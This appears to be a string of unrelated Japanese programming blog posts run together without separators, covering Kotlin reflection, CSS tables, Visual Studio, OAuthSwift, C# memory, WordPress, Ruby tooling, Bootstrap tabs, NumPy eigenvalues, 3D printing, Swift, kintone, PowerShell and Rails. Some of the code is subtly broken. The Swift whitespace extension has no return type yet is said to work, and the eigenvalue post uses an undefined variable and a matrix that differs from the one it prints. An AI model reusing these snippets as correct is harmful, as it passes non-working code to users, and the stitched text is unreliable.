以下の通り、`KFunction`を継承したクラスでインスタンス関連の取り扱いを隠ぺいすることで、課題が解決できます。

```kotlin
import kotlin.reflect.KFunction
import kotlin.reflect.KParameter
import kotlin.reflect.full.instanceParameter

class CompanionKFunction<T>(
    private val function: KFunction<T>, private val instance: Any
): KFunction<T> by function {
    private val instanceParam by lazy { mapOf(function.instanceParameter!! to instance) }

    override val parameters: List<KParameter> by lazy {
        function.parameters.filter { it.kind != KParameter.Kind.INSTANCE }
    }

    override fun call(vararg args: Any?): T = function.call(instance, *args)

    override fun callBy(args: Map<KParameter, Any?>): T = function.callBy(instanceParam + args)
}
```

```kotlin:使い方
val clazz: KClass<*> = // クラス取得
val companionObjectInstance: Any = clazz.companionObjectInstance!! // コンパニオンオブジェクト取得
val companionFunction: KFunction<*> = companionObjectInstance.functions.first { /* 特定関数の取得 */ }

// インスタンス無しで呼び出せるように隠ぺい
val companionKFunction = CompanionKFunction(companionFunction, companionObjectInstance)

val returnValue = companionKFunction.call(/* インスタンス以外の引数 */)
```

## 使ったテクニック
### Class Delegation
以下のように、`$インターフェース by $移譲先インスタンス`としてやることで、インターフェースの実装を他クラスに移譲できます。
これにより、最低限の手間でインターフェースを実装することができます。

```kotlin
class CompanionKFunction<T>(
    private val function: KFunction<T>, private val instance: Any
): KFunction<T> by function {
```

### 可変長引数の展開
可変長引数を別の関数の可変長引数に渡す場合、`*`（スプレッド演算子）で展開する必要が有ります。

```kotlin
override fun call(vararg args: Any?): T = function.call(instance, *args)
```

# 参考にさせて頂いた記事
- [kotlin \- How can I turn a KFunction without instance param to a KFunction with it? \- Stack Overflow](https://stackoverflow.com/questions/46157815/how-can-i-turn-a-kfunction-without-instance-param-to-a-kfunction-with-it)
- [Kotlinの委譲\(Delegation\)について \- Qiita](https://qiita.com/MeilCli/items/72a1226fd2551ed92709)

# 宣伝
`Kotlin`向け`ModelMapper`的なライブラリを作っています。
是非使ってみて下さい。

- [Kotlin向けModelMapper的なライブラリ、MapKを作った \- Qiita](https://qiita.com/wrongwrong/items/10048638e9fb4a652b01)
- [k163377 / MapK](https://jitpack.io/#k163377/MapK)
汎用）診療時間テーブル

## 忙しい時にコピペするためのやつ
<p class="codepen" data-height="265" data-theme-id="dark" data-default-tab="css,result" data-user="sphenisc" data-slug-hash="mdJPyXd" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="mdJPyXd">
  <span>See the Pen <a href="https://codepen.io/sphenisc/pen/mdJPyXd">
  mdJPyXd</a> by sphenisc (<a href="https://codepen.io/sphenisc">@sphenisc</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

横幅375px(iPhone6~8)くらいまでならスマホでも崩れない。
PCの時 全体550px／診療時間210px／月～祝340px　として計算しています。

* 横幅をもっと大きくしたい　→　`max-width: 550px;` `@return $length / 550 * 100%;` を550から変更する
* 祝日いらない　→　HTMLから各行の末尾のth td tdを消して`width: size_tbl(340/8);` を`/7`にする
VisualStudio 最近使った項目をまとめて削除する

## 本文について

VisualStudioの起動画面に表示される「最近使った項目」のリストについて、ソリューション/プロジェクトファイルが存在しなくてもリストに残ります。右クリックから削除できますが、ひとつずつしか削除できません。「最近使った項目」をまとめて削除する方法を本文に記載します。

![before.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/387241/3c78961b-d5bb-b999-e4f2-f5a47d9cd47e.png)


## 環境

+ Visual Studio Professional 2019 Community
+ ClearRecent 1.1.1 

## 対応

VisualStudioの拡張機能「[**ClearRecent**](https://marketplace.visualstudio.com/items?itemName=GrzegorzKozub.ClearRecent)」をインストールします。インストール後、「ファイル」→「最近使ったプロジェクトとソリューション」に"Clear ALL"タブが追加されているので、クリックすると履歴が削除されます。

![ClearAll.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/387241/4ed45d95-afd3-577f-ffca-662e9fed4dde.png)

![After.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/387241/92b1ca01-6b57-78ac-e00a-469990872bec.png)


以上
OAuthSwiftでTwitterを認証するときのCallback URLについて

- TARGETS -> Info -> URL Types -> URL Schemes は自分のアプリ名など任意の文字列（ここでは`myapp`とする）
- `OAuth1Swift.authorize()`で指定する`CallbackURL`は`"myapp://oauth-callback/twitter"`にする
- `OAuthSwift.handle(url:)`を呼ぶ前の条件分岐は`url.host == "oauth-callback"`にする
- Twitter Appsのアプリ設定項目のCallback URLは`myapp://`を入力する
GC allocとは

GC allocについてぼんやりしか知らなかったので調べてみた。

## GC allocとは?
マネージヒープにオブジェクトを割り当てること

## マネージヒープとは?
GCが管理するメモリ領域のこと。

スマホでアプリAを起動するとアプリAのプロセスが作成されて初期化されます。
初期化時GCは自身が管理する連続したメモリ領域を確保します。これをマネージヒープと呼びます。
<img width="388" alt="スクリーンショット 2020-02-15 0.54.40.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278474/867f0548-6414-8a35-cb37-8608530a0236.png">

C#の参照型はマネージヒープに割り当てられて管理されます。以下のようにHogeクラスをインスタンス化するとデータがマネージヒープ上に確保され、hoge変数がスタック領域に確保されます。

```
class Hoge
{
}

void Main()
{
    Hoge hoge = new Hoge();
}
```

<img width="391" alt="スクリーンショット 2020-02-15 20.37.05.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278474/b86ec0e4-8bc0-ef10-83bd-0dd426851c6c.png">


## 必要なメモリサイズ
64bit環境で参照型を管理するにはオブジェクトヘッダー(8byte)とメソッド情報へのポインタであるメソッドテーブルポインタ(8byte)が必要です。Hogeのような空のクラスをインスタンス化するとマネージヒープの16byteが確保されます。(32bit環境だと8byte)
クラスにメンバ変数が定義されていればそれらの型に必要なだけのsizeが追加で確保されます。例えばintのメンバ変数があれば4byte増えて全部で20byte確保されます。
<img width="333" alt="スクリーンショット 2020-02-15 20.52.39.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278474/0b39657f-5b31-abd0-fcde-b45ab9d608a8.png">

## 参考

https://docs.unity3d.com/ja/2018.4/Manual/BestPracticeUnderstandingPerformanceInUnity4-1.html

https://docs.microsoft.com/ja-jp/dotnet/standard/automatic-memory-management

https://qiita.com/mima_ita/items/8303f2a476e8630f0728

https://devblogs.microsoft.com/premier-developer/managed-object-internals-part-1-layout/

https://web.archive.org/web/20150515023057/https://msdn.microsoft.com/en-us/magazine/cc163791.aspx

https://devblogs.microsoft.com/premier-developer/managed-object-internals-part-1-layout/
テーマLightningをごにょごにょする

##テーマのヘッダーをごにょごにょする
Lightningのヘッダーはどこにあるかというと、 [_g2/header.php]に存在します（2021年6月30日）
通常は子テーマを利用していると思いますので、 親テーマから子テーマに[_g2/header.php]の構造を作成（コピー）してごにょごにょします。

以下、タグマネージャーを作成した時の例
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/346533/b744fc8b-c201-ddb4-f668-f458a0669a03.png)





##スライダーの画像サイズ

横幅：1900px、高さ：600px


##フッターのコピーを非表示にする


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/346533/4c7c6c96-10fe-c18c-2c1a-0fe57f3991a2.png)

カスタマイズの追加CSSへ以下を追加する
```.css
footer .copySection p:nth-child(2) {
    display:none !important;
    }
```

##参考記事

###WordPressテーマ「Lightning」をカスタマイズ（その６）インフォメーションの設置
https://souken-blog.com/2017/09/25/wordpress-lightning006/

###VK All in One Expansion Unit 
https://ex-unit.nagoya/ja/
vscodeで"Ruby Solargraph"を使用可能にするまで

# 手順（Macbookを使用）

1. rbenvをインストールする（gemインストールを有効にするため、PATHをrbenvで統一する）
 
```
brew install rbenv ruby-build
```

1. rbenvを使用して最新安定バージョンのrubyをインストールする（opensslのインストールに時間がかかるため、10分程度）

```
rbenv install -l
rbenv install x.x.x
```

1. インストールされたことを確認する

```
rbenv versions
```

1. インストールしたrubyバージョンに切り替える

```
rbenv global x.x.x
```

1. rbenvの環境変数をzshrcに設定する

```
vi ~/.zshrc
# rbenvへのPATH
[[ -d ~/.rbenv  ]] && \
  export PATH=${HOME}/.rbenv/bin:${PATH} && \
  eval "$(rbenv init -)"
```

```
source ~/.zshrc
```

1. rubyのPATHを確認する

```
which ruby
/Users/[ユーザ名]/.rbenv/shims/ruby
```

1. gemのPATHを確認する

```
which gem
/Users/[ユーザ名]/.rbenv/shims/gem
```

1. Solargraphをインストールする

```
gem install solargraph
```

1. rubocopをインストールする

```
gem install rubocop
```

1. Solargraphが使えることを確認する

```
solargraph help          
Commands:
  solargraph --version, -v            # Print the ve...
  solargraph available-cores          # List availab...
  solargraph bundle                   # Generate doc...
  solargraph clear                    # Delete the c...
  solargraph config [DIRECTORY]       # Create or ov...
  solargraph download-core [VERSION]  # Download cor...
  solargraph help [COMMAND]           # Describe ava...
  solargraph list-cores               # List the loc...
  solargraph rdoc GEM [VERSION]       # Use RDoc to ...
  solargraph reporters                # Get a list o...
  solargraph scan                     # Test the wor...
  solargraph socket                   # Run a Solarg...
  solargraph stdio                    # Run a Solarg...
  solargraph typecheck [FILE]         # Run the type...
  solargraph uncache GEM [...GEM]     # Delete cache...
```

1. vscodeでRuby Solargraphをインストールする

1. setting.jsonに以下を記入する

```
"solargraph.commandPath": "solargraphのPATH"
"ruby.intellisense": "rubyLocate"
```

1. 左下の歯車 -> 設定をクリックし、設定の検索に以下を入力する

```
solargraph
```

1. Solargraph:Command PathにsolargraphのPATHが設定されていることを確認する

1. Solargraph: Use Bundlerにチェックがはいっていないことを確認する

1. vscodeを再起動し、右下にSolargraphに関するメッセージが表示されないことを確認する

以上

## 追記
rbenvを利用してrubyのバージョンを切り替えた際にvscodeにて再度Solargraph
に関するエラーメッセージが表示されるため､再度手順通りに各gemをインストールする必要あり｡
Azureみたいなウィザードっぽい入力フォームを作りたい Phase1 タブ実装編

Azureで仮想マシンの作成をすると、当然いろんな情報の入力を求められる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/401295/76f05fa2-7cf2-36cc-18fa-83bb57f95a86.png)

入力項目が多いからか、ウィザードみたいな感じで情報入力がいくつかのフォームに分かれている。

上のスクショだと、「基本」「ディスク」「ネットワーク」...って感じ。

こんな感じのフォームを作ってみたい。

ということで、この前 .NET Coreに実装したAdminLTE3をベースに作成を開始。

# 1. タブの実装

AdminLTE3はBootstrap4を使っている。Bootstrapには「nav-tabs」というクラスが存在する。

こいつを使うと簡単にタブを実装できる。

``` HTML
       <ul class="nav nav-tabs">
            <li class="nav-item">
                <a href="#tab1-content" class="nav-link" data-toggle="tab">基本</a>
            </li>
            <li class="nav-item">
                <a href="#tab2-content" class="nav-link" data-toggle="tab">住所</a>
            </li>
        </ul>
        <div class="tab-content">
            <div id="tab1-content" class="tab-pane active">
                <p>基本の情報入力フォームの表示</p>
            </div>
            <div id="tab2-content" class="tab-pane">
                <p>住所入力フォームの表示</p>
            </div>
        </div>
```

これで、「基本の情報入力フォームの表示」の部分を入力フォームっぽいHTMLに書き換えてやれば｡｡｡｡

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/401295/0ed0a7a3-483c-2cfe-1978-d49703868a3e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/401295/5000cd2c-1c26-d92f-c6df-47374954a66e.png)

こんな感じでタブは実装できた。

････しかし、タブの下にカードタイトルあるとなんかうざいな････消すか････
プログラミングのための線形代数第4章（固有値、固有ベクトル）

## いつ役立つか
自己回帰モデルが暴走するかどうか調べたい!

## 自己回帰モデルとは
例えば、今日の$ξ(t)$は昨日の$ξ(t-1)$、おとといの$ξ(t-2)$、さらにその前の日$ξ(t-3)$と、今日の$u(t)$から、次のように決まるとします。

$ξ(t)=-0.5ξ(t-1)+0.34ξ(t-2)+0.08ξ(t-3)+2u(t)$

これを行列で表現すると、

```math
x(t)=
\begin{pmatrix}
-0.5&0.34&0.08\\
1&0&0\\
0&1&0
\end{pmatrix} \times
x(t-1)
```
となります。
以降、これを一般化した

```math
x(t)=Ax(t-1)
```

を扱います。

## 1次元の場合

```math
x(t)=7x(t-1)
```
これは$t$が大きくなる度に7倍されるので、

```math
x(t)=7^tx(0)
```
となり、$t→∞$の時、$7^t→∞$なので暴走します。
一方で係数が$0.2$の場合は暴走しない。
これは簡単ですね。

## 対角行列の場合
```math
x(t)=
\begin{pmatrix}
5&0&0\\
0&-3&0\\
0&0&0.8
\end{pmatrix} \times
x(t-1)
```
の場合、対角行列のべき乗は成分をそのままべき乗するだけでよいので、

```math
x(t)=
\begin{pmatrix}
5&0&0\\
0&-3&0\\
0&0&0.8
\end{pmatrix}^t
x(0)
```
と書ける。

## 一般化
対角行列でない行列の場合は、無理やり対角行列に変換してしまいます。
元の変数$x(t)$に対し、何か正則行列$P$を持ってきて

```math
x(t)=Py(t)
```

で別の変数に変換する方法を考えてみましょう。
この時、$x(t)=Ax(t-1)$はどう変換されるのでしょうか？

まず、$x(t)=Py(t)$を

```math
y(t)=P^{-1}x(t)=P^{-1}Ax(t-1)\\
　　　　　　=P^{-1}A(Py(t-1))=(P^{-1}AP)y(t-1)
```

$Λ=P^{-1}AP$と置くと、

```math
y(t)=Λy(t-1)
```

と置ける。
この$Λ$がもし対角行列なら、

```math
y(t)=Λ^ty(0)
```
で簡単に$y(t)$が求まり、同時に

```math
x(t)=Py(t)=PΛty(0)=PΛ^tP^{-1}x(0)
```
でxも求まってめでたしめでたし。

この手順「都合の良い$P$を持ってきて$P^{-1}AP$を対角行列にする」ことを対角化と呼びます。

やりたいことは

```math
P^{-1}AP≡Λ=diag(λ_1,...,λ_n)
```
のような$P$を見つけることです。
一般に、正方行列$A$に対して

```math
Ap=λp\\
p≠o
```
を満たす数$λ$とベクトル$p$をそれぞれ固有値、固有ベクトルと呼びます。

## Pythonで固有値、固有ベクトルを計算
Numpyの機能を駆使すれば簡単に計算が可能です。
次の行列で計算してみましょう。

```math
A=
\begin{pmatrix}
5&3&4\\
6&8&-8\\
6&9&-9
\end{pmatrix}
```

```Python
import numpy as np

def get_eigenpairs(arr):
    #np.linalg.eigは第一引数に固有値、第二引数に固有ベクトルを出力する
    w, v = np.linalg.eig(arr)
    eigenpairs = []
    
    #vは1に規格化されているため。このままでは良く分からない。
    #そのため、各列の0を除く最小値で割り、数値を元に戻している。
    for i, val in enumerate(w):
        vec = v[:, i] / np.min(np.abs(v[:, i][v[:, i] != 0]))
        eigenpairs.append((val, vec))
    eigenpairs.sort(key=lambda x:x[0])
    return eigenpairs

A = np.array([[5,3,-4],[6,8,-8],[6,9,-9]])

get_eigenpairs(A)
#array([[-1.0, array([1., 2., 3.])],
#       [2.0, array([-1., -3., -3.])],
#       [3.0, array([1., 2., 2.])]], dtype=object)

```

固有ベクトルが3つ得られました。これらは固有値$-1, 2,3$にそれぞれ対応しています。
そこで固有ベクトルを3つ並べて

```math
P=
\begin{pmatrix}
1&-1&1\\
2&-3&2\\
3&-3&2
\end{pmatrix}
```


とし、$P^{-1}AP$が対角行列になるか確認してみましょう。

```Python
P = np.empty((3,3))

#3つの固有ベクトルを3×3の行列に格納
for i,val in enumerate(get_eigenpairs(a)):
    P[i] = val[1]

np.rint(np.dot(np.dot(np.linalg.inv(P.T),a),P.T))
#array([[-1.,  0.,  0.],
#       [ 0.,  2., -0.],
#       [ 0.,  0.,  3.]])

```
無事、$P^{-1}AP=diag(-1,2,3)$になることが確認できました。
これで簡単に自己回帰モデルの暴走について調べることができますね。
davinci pro 1.0 で温度設定するメモ

日々ABS樹脂でゴミを量産しているl_s_s_lです。

XYZ printingのdavinci pro 1.0で利用している3Dプリントソフトウェア、
XYZmakerSuite内のxyz printで温度設定する手順をメモとしてここに記載します。

実はこの温度設定がうまくできないことから、スライサーソフトを変えてみたり
いろいろ試行錯誤していました。
１０時間後にゴミができてたり
ノズルからフィラメントが出ていなかったりすると心が折れますね(ヽ´ω`)

INK48のオープンリール社外フィラメントでTJBotの頭を出したはずだけど・・・
朝起きたらこんな光景が・・・

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/150c2c34-f13c-4bb8-622d-003899118249.png" width=300>

フィラメントどこ？！

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/73335cd1-8d81-6dfd-d754-6fe5292b4a06.jpeg" width=300>


## 設定を開く
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/c2c2c1af-6f54-444e-ff1c-1958ccd5d632.png)

## スライス設定を「基本」から「詳細」に変更する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/3a80f34e-ab47-6d38-0873-b76fe9cfc4f1.png)

## 画面下部のメニュー項目が増えます。

基本のままの場合、「一般」と「サポート」のみで温度設定ができません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/109806fb-af49-533c-939c-4429c93f6a28.png)

## 一般を開き温度設定を変更します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/cca06d99-7c41-ec0a-1507-a3ddf00e3657.png)

ABSのフィラメントは、XYZprinting純正のABSフィラメントが210℃となっており、
デフォルトで定義されているABSのプロファイルも210℃が標準です。
フィラメント送りがおかしかったり、出ない、うまく行かないときは、240℃にあげてやってみると良いかもしれません。

# まだまだ挑戦はつづくよ
ABS樹脂で熱にも耐える丈夫なTJBotを作りたい！と血走っているのですが、
熱収縮で引張がうまれたり、フィラメントが詰まったりとまだまだ苦戦中です。
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/7cf249b0-0f64-e17f-5520-71493811e770.jpeg" width=500>

細かいパーツはきれいに出てきました！
頭は大きさが大きいせいか、樹脂のひきつけを起こしているのでまたトライしたいと思います。

標準PLA樹脂で出した成功例はそのうち公開したいと思います。

# TODO
- INK48ホワイトフィラメントの方で諦めたものをまたリベンジ
- 造形したオブジェクトのヒードヘッド側が少しボコボコしているのを解決させたい
- TJBotzeroの3Dプリントオブジェクトデータをつくる

## 造形したオブジェクトのヒードヘッド側が少しボコボコしているのを解決させたい

試行錯誤中

### 表面。
このくらいなら許せるかな・・・

![IMG_7596.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/df428be4-b053-6408-bafb-4d18ce921339.jpeg)

### ヒートヘッド側はこのようにフィラメントの隙間がかなり目立つ。
表面と同じようにならないかな
![IMG_7597.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126158/dafec545-67fe-a1c7-a987-78aed6971965.jpeg)
初心者によるプログラミング学習ログ 240日目

#100日チャレンジの240日目

twitterの100日チャレンジ#タグ、#100DaysOfCode実施中です。
すでに100日超えましたが、継続。

100日チャレンジは、ぱぺまぺの中ではプログラミングに限らず継続学習のために使っています。


240日目は、（↓は239になってますが、240です）

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">おはようございます<br>239日目<br>・udemyで、javascript講座<a href="https://twitter.com/hashtag/%E6%97%A9%E8%B5%B7%E3%81%8D%E3%83%81%E3%83%A3%E3%83%AC%E3%83%B3%E3%82%B8?src=hash&amp;ref_src=twsrc%5Etfw">#早起きチャレンジ</a><a href="https://twitter.com/hashtag/%E9%A7%86%E3%81%91%E5%87%BA%E3%81%97%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%A8%E7%B9%8B%E3%81%8C%E3%82%8A%E3%81%9F%E3%81%84?src=hash&amp;ref_src=twsrc%5Etfw">#駆け出しエンジニアと繋がりたい</a><a href="https://twitter.com/hashtag/100DaysOfCode?src=hash&amp;ref_src=twsrc%5Etfw">#100DaysOfCode</a></p>&mdash; ぱぺまぺ@webエンジニアを目指したい社畜 (@yudapinokio) <a href="https://twitter.com/yudapinokio/status/1228412906506575872?ref_src=twsrc%5Etfw">February 14, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
絵文字を表示する、使用する (OpenSiv3d C++)

絵文字の表示は、新規プロジェクト作成時、そのままビルド実行[F5]で表示される
![Siv3D App (Debug Build) _ 121 FPS _ W 800x600 _ S 800x600 2020-02-15 19.06.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76087/9ee48686-62c3-a627-0aa3-8348b378c54f.png)


下記の部分が絵文字
下記プログラムは新規プロジェクト作成でできるデフォルトのソースコード。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76087/cd62cbe1-4d40-7ebf-2784-30c659a9b5b1.png)


とりあえず、絵文字を変更しようとする・・・がよくわからない、

で、検索

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76087/0129bd7f-20d3-86b6-4687-a96edbc59878.png)

で適当に見つけたサイト
https://lets-emoji.com/twemoji/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76087/b22334f7-cad2-cf50-3b40-086498afc7e6.png)

自分がコピーした絵文字を、元のソースに張り付けて変更

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76087/541b90d0-ab61-3588-2188-c4e0209ba33f.png)

ビルド実行！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76087/78a70af7-3fa0-d45a-f08b-241bf2d0c118.png)

ライオンの絵文字の表示はされず、もう一つもサイトと微妙に違う絵。

絵文字はやってみないと分からない。

<B>と　思って検索したら、ありました、OpenSiv3Dで可能な絵文字をまとめてあるサイトが！

https://note.com/siv3d/n/n9498c21e25ba

こちらで絵文字をコピペしたほうが早くて確実です。たぶん。


絵文字は**<font color="Red">文字</font>**としての表示置出来るし、**<font color="Red">画像</font>**として登録もできるので、使い方によってはとても便利かもしれません。
文字列から半角、全角両方のスペースを削除するExtensionを考える


# はじめに
半角と全角の文字列が混合する配列の処理をしていたとき、各文字列からスペースを消そうとしたのですが、`replacingOccurrences(of: " ", with: "")`してあげただけでは当たり前ですが、全角スペースだと削除されずが残ってしまいます。

```swift:
import Foundation

let array = ["あいうえ　お", "abcd e"]

let fixArray = array.map { $0.replacingOccurrences(of: " ", with: "") }
//["あいうえ　お", "abcde"]になる

```
途中まですっかりそれを見落としてたので、１回で両方削除できたら便利と思いString Extensionで作ってみよう思いました。

#できたもの

```swift:
import Foundation

private extension String {
    func removeWhitespace(){
        self.replacingOccurrences(of: "\u{0020}|\u{3000}", with: "", options: .regularExpression)
    }
}

let array = ["あいうえ　お", "abcd e"]

let fixArray = array.map { $0.removeWhitespace() }
//["あいうえお", "abcde"]になった！！！

```

#まとめ
もっとこうしたらいいよなどありましたらコメントいただけると幸いです。
ありがとうございました。
今年もよろしくお願いします(遅
kintoneUIComponentでボタンを設置する

#kintoneUIComponentを使ってボタンを設置する
英語ドキュメントしか出てこなかったので、参考までに書いておく。なお、作ったのはタイムカードアプリなので、サンプルの定義はそれらしい記述になっているのでご了承を。

##大前提
kintoneUIComponentのライブラリはアプリに読み込んでおくこと。

##ボタン定義
まず、ボタンの定義をする。ボタンに表示するテキストと、ボタンのタイプ、submitとnormalを選べる。

```javascript:kintoneui.js
        // 開始打刻ボタン定義
        var restStartButton = new kintoneUIComponent.Button({
           text: '休憩開始',
           type: 'submit'
        });
```

##ボタンを設置する
レコード詳細画面で、ボタンを設置したい場所に「スペース」を定義して、その上で上記で定義したボタンを設置する。getSpaceElementで取っているのが、スペースのID。

```javascript:kintoneui.js
        // 開始打刻ボタン定義
        var restStartButton = new kintoneUIComponent.Button({
           text: '休憩開始',
           type: 'submit'
        });
        // 開始打刻ボタン設置
        let elStartButton = kintone.app.record.getSpaceElement('restStart');
        elStartButton.appendChild(restStartButton.render());

```

##ボタンを押下した時の挙動を定義する
ボタンの場合は「押下（クリック）」した時の動作を定義する。ちなみに別関数を呼び出しているだけ。


```javascript:kintoneui.js
        // 開始打刻ボタン定義
        var restStartButton = new kintoneUIComponent.Button({
           text: '休憩開始',
           type: 'submit'
        });
        // 開始打刻ボタン設置
        let elStartButton = kintone.app.record.getSpaceElement('restStart');
        elStartButton.appendChild(restStartButton.render());
        // 開始打刻
        restStartButton.on('click', function(){
            setRestStartTime();
        });


```

参考までに、呼び出し先はこんな感じ。


```javascript:kintoneui.js
    // 休憩開始打刻
    function setRestStartTime(){
        var record = kintone.app.record.get();
        record['record']['休憩開始']['value'] = moment().format('YYYY-MM-DD HH:mm');
        kintone.app.record.set(record);
    }
```
PowerShellの色を変える

背景色と文字色が似ていて、何が書いてあるかわからないことがあるので色を変える

# Color Tool のインストール

下記サイトから最新版のリンクをたたき、「ColorTool.zip」をダウンロードする
https://github.com/Microsoft/Terminal/tree/master/src/tools/ColorTool

![8dec8b0a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320660/2da60791-0bec-3b04-61a1-34ffac4a9a3f.png)

ダウンロードしたら適当なディレクトリで解凍する。ColorTool.exe と schemesディレクトリ があればOK。
![da3b9d9d.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320660/16a49dbc-9fd7-1f1d-a517-84424fa4e710.png)

# 使い方

Powershellで、解凍したColorToolディレクトリに移動する

```bash
cd [ColorToolディレクトリのパス]
```

-s オプションで使用可能な色一覧が表示される

```bash
./ColorTool.exe -s
```

実行例
![bc89424g.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320660/47b2192e-6c97-f294-d982-53e8dff09fea.png)

左側に表示されている名前を入れることで、色を変更できる

```bash
./ColorTool.exe -b OneHalfDark.itermcolors
```

実行例
![19161e88.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320660/24a92e0c-aecc-7b08-43b4-8a1d6e07987a.png)

この中のいずれかの 背景色/文字色 になる。

他の 文字色/背景色 はPowerShellのプロパティに登録されているので、そちらで選択可能。
![6b50ad7b.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320660/acf6cd83-f334-5547-bff1-75400fed435e.png)
Ubuntuにてrails6.0の環境構築(備忘録)

Ruby on Rails 6.0を、以下記事を参考にさせていただきながら、環境構築をしました。(厳密にいうとまだできてませんが)
備忘録として残す&誰かのお役に立てれば&なぜ最後だけできないのか誰か教えてほしい、ということで書きます。

**[参考記事はこちら](https://qiita.com/Gushi_maru/items/f3b5cc43e135e678085f)**
## やったこと
上記記事どおりに環境構築。

```
git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
```
上記実施時に
> fatal: destination path 'パス名' already exists and is not an empty directory.

って出て困惑しましたが、すでにあるから置けないよってことらしいので気にせず実施。
# 未解決の部分

すべて実施し、よっしゃあ最後だ！終わった！と思って起動しようとしたところ、

```
:~/dev/sample$ rails s -b 0.0.0.0
/パス名/versions/2.6.2/lib/ruby/gems/2.6.0/gems/railties-6.0.2.1/lib/rails/app_loader.rb:53: warning: Insecure world writable dir /パス名/versions/2.6.2 in PATH, mode 040777
=> Booting Puma
=> Rails 6.0.2.1 application starting in development
=> Run `rails server --help` for more startup options
Puma starting in single mode...
* Version 3.12.2 (ruby 2.6.2-p47), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://0.0.0.0:3000
Use Ctrl-C to stop
```

との表示。やったか！？

![無題.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/583616/4601adcf-f4cd-194d-d87b-608c143fd06f.png)

はい。ポートが開いてないのかと思ってufwのコマンドも試してみたが弾かれ。iptablesは更新したんだけども。。。

```
:~/dev/sample$ sudo ufw allow 3000/tcp
WARN: initcaps
[Errno 2] iptables v1.6.1: can't initialize iptables table `filter': Table does not exist (do you need to insmod?)
Perhaps iptables or your kernel needs to be upgraded.
```

初心者で本当にわからないのでわかる人いたらご教示願います。。。

## 2020/02/06 追記
いけました。rails sで起動して、localhostに繋げばいいだけやった。あほすぎて恥ずかしい。